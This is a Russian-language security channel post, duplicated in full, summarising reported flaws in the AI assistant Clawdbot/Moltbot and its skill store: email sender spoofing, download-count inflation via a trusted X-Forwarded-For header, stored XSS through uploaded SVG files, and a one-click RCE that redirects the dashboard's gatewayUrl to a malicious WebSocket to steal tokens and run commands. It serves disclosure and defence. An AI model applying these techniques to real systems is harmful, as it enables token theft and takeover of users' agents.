🦞 #события #ai #web #offense
➡Простите, но продолжение; Хочется обсудить ещё несколько проблем, которые были обнаружены специалистами по безопасности в ИИ-ассистенте Clawdbot Moltbot➕которые могуть быть обнаружены вами в похожих проектах:
0️⃣ E-MAIL SPOOFING
🔖 x.com/slonser_/status/2016114641105998086
Помните ресерч @slonser_notes про проблемы парсинга в почтовых сервисах / библиотеках — ‟Old new email attacks”? Вот ещё один вариант его применения: судя по посту, вектор примерно такой ⬇️
1️⃣ НАКРУТКА СТАТИСТИКИ
🔖 ‟eating lobster souls Part II: the supply chain”
У Moltbot есть собственный Open-Source "магазин" навыков – ClawdHub MoltHub. Когда кто-то устанавливает навык, происходят следующие вызовы:
▪️ downloadZip: собирает навык, формирует архив, вызывает increment;
▪️ increment: делает +1 к статистике по скачиваниям навыка;
*️⃣ Нет: лимитов / привязки к пользователю;
*️⃣ Есть: в других местах – такая проверка IP ⬇️
// convex/httpApiV1.ts:695-704
function getClientIp(request: Request) {
const header =
request.headers.get('cf-connecting-ip') ??
request.headers.get('x-real-ip') ??
request.headers.get('x-forwarded-for') ??
request.headers.get('fly-client-ip')
if (!header) return null
if (header.includes(',')) return header.split(',')[0]?.trim() || null
return header.trim()
}
➡️ Проверка IP адреса доверяет заголовку X-Forwarded-For: значит, перебирая значения заголовка, возможно заставить магазин думать, что установки навыка были "уникальными" — злоумышленник может создать вредоносный навык➕без труда вывести его в топ по скачиваниям ⚡️
2️⃣ XSS через SVG
🔖 ‟eating lobster souls Part III (the finale)”
Наконец, при загрузке навыка в MoltHub, магазин сохраняет информацию о том, какой был указан Content-Type:
// convex/httpApiV1.ts:555-564
const contentType = file.type || undefined
Сохраняет настолько, что при выгрузке навыка пользователем, ему возвращается ровно такой же Content-Type:
// convex/httpApiV1.ts:377-386
'Content-Type': file.contentType
*️⃣ Нет: фильтрации / санитизации / CSP / отдельного домена для загрузок / ...;
*️⃣ Есть: MoltHub хранит authToken / authRefreshToken / ... в localStorage;
➡️ Если загрузить в навык SVG, внутри которого – XHTML с полезной нагрузкой для эксплуатации XSS, отображение SVG приводило к выполнению JS кода атакующего в контексте clawdhub.com, где явно есть что эксплуатировать➕эксфильтровать ⚡️
3️⃣ 1-CLICK RCE
🔖 ‟One-click RCE on Clawd/Moltbot”
🔗 github.com/ethiack/moltbot-1click-rce
А тут сюр [в хорошем смысле]: ИИ нашёл уязвимость в ИИ (Hackian / Moltbot);
➡ Пользователь может попасть на вредоносный сайт, который будет открывать окно с {DASHBOARD}/chat?gatewayUrl=wss://{MALICIOUS-GATEWAY}/gw➕окно, в котором [после получения токена] произойдёт валидация токена и открытие сессии с ботом, у которого запросят удалённое выполнение команд ⚡
➡Stay safe!
@HaHacking 🐇
➡Простите, но продолжение; Хочется обсудить ещё несколько проблем, которые были обнаружены специалистами по безопасности в ИИ-ассистенте Clawdbot Moltbot➕которые могуть быть обнаружены вами в похожих проектах:
0️⃣ E-MAIL SPOOFING
🔖 x.com/slonser_/status/2016114641105998086
Помните ресерч @slonser_notes про проблемы парсинга в почтовых сервисах / библиотеках — ‟Old new email attacks”? Вот ещё один вариант его применения: судя по посту, вектор примерно такой ⬇️
⬜️
▪️ X➡️Y: ✉️
▪️ Moltbot: парсит ✉️ от X➡️передаёт Y
⚡️ НО из-за некорректного парсинга специально сформированного письма Moltbot пишет Y, что письмо пришло от, например, Z
▪️ Y отвечает через Moltbot, думая, что отвечает Z➡️ответ получает X
⬜️
1️⃣ НАКРУТКА СТАТИСТИКИ
🔖 ‟eating lobster souls Part II: the supply chain”
У Moltbot есть собственный Open-Source "магазин" навыков – ClawdHub MoltHub. Когда кто-то устанавливает навык, происходят следующие вызовы:
▪️ downloadZip: собирает навык, формирует архив, вызывает increment;
▪️ increment: делает +1 к статистике по скачиваниям навыка;
*️⃣ Нет: лимитов / привязки к пользователю;
*️⃣ Есть: в других местах – такая проверка IP ⬇️
// convex/httpApiV1.ts:695-704
function getClientIp(request: Request) {
const header =
request.headers.get('cf-connecting-ip') ??
request.headers.get('x-real-ip') ??
request.headers.get('x-forwarded-for') ??
request.headers.get('fly-client-ip')
if (!header) return null
if (header.includes(',')) return header.split(',')[0]?.trim() || null
return header.trim()
}
➡️ Проверка IP адреса доверяет заголовку X-Forwarded-For: значит, перебирая значения заголовка, возможно заставить магазин думать, что установки навыка были "уникальными" — злоумышленник может создать вредоносный навык➕без труда вывести его в топ по скачиваниям ⚡️
2️⃣ XSS через SVG
🔖 ‟eating lobster souls Part III (the finale)”
Наконец, при загрузке навыка в MoltHub, магазин сохраняет информацию о том, какой был указан Content-Type:
// convex/httpApiV1.ts:555-564
const contentType = file.type || undefined
Сохраняет настолько, что при выгрузке навыка пользователем, ему возвращается ровно такой же Content-Type:
// convex/httpApiV1.ts:377-386
'Content-Type': file.contentType
*️⃣ Нет: фильтрации / санитизации / CSP / отдельного домена для загрузок / ...;
*️⃣ Есть: MoltHub хранит authToken / authRefreshToken / ... в localStorage;
➡️ Если загрузить в навык SVG, внутри которого – XHTML с полезной нагрузкой для эксплуатации XSS, отображение SVG приводило к выполнению JS кода атакующего в контексте clawdhub.com, где явно есть что эксплуатировать➕эксфильтровать ⚡️
3️⃣ 1-CLICK RCE
🔖 ‟One-click RCE on Clawd/Moltbot”
🔗 github.com/ethiack/moltbot-1click-rce
А тут сюр [в хорошем смысле]: ИИ нашёл уязвимость в ИИ (Hackian / Moltbot);
⬜️
В пути к "Clawdbot Control" можно передать параметр gatewayUrl, ссылающийся на WebSocket: {DASHBOARD}/chat?gatewayUrl=wss://{GATEWAY}/gw
▪ Предыдущее значение gatewayUrl переписывается
▪ На новый gatewayUrl сразу приходят токены из localStorage
▪ Далее API запросы будут летать по новому пути;
⬜️
➡ Пользователь может попасть на вредоносный сайт, который будет открывать окно с {DASHBOARD}/chat?gatewayUrl=wss://{MALICIOUS-GATEWAY}/gw➕окно, в котором [после получения токена] произойдёт валидация токена и открытие сессии с ботом, у которого запросят удалённое выполнение команд ⚡
➡Stay safe!
@HaHacking 🐇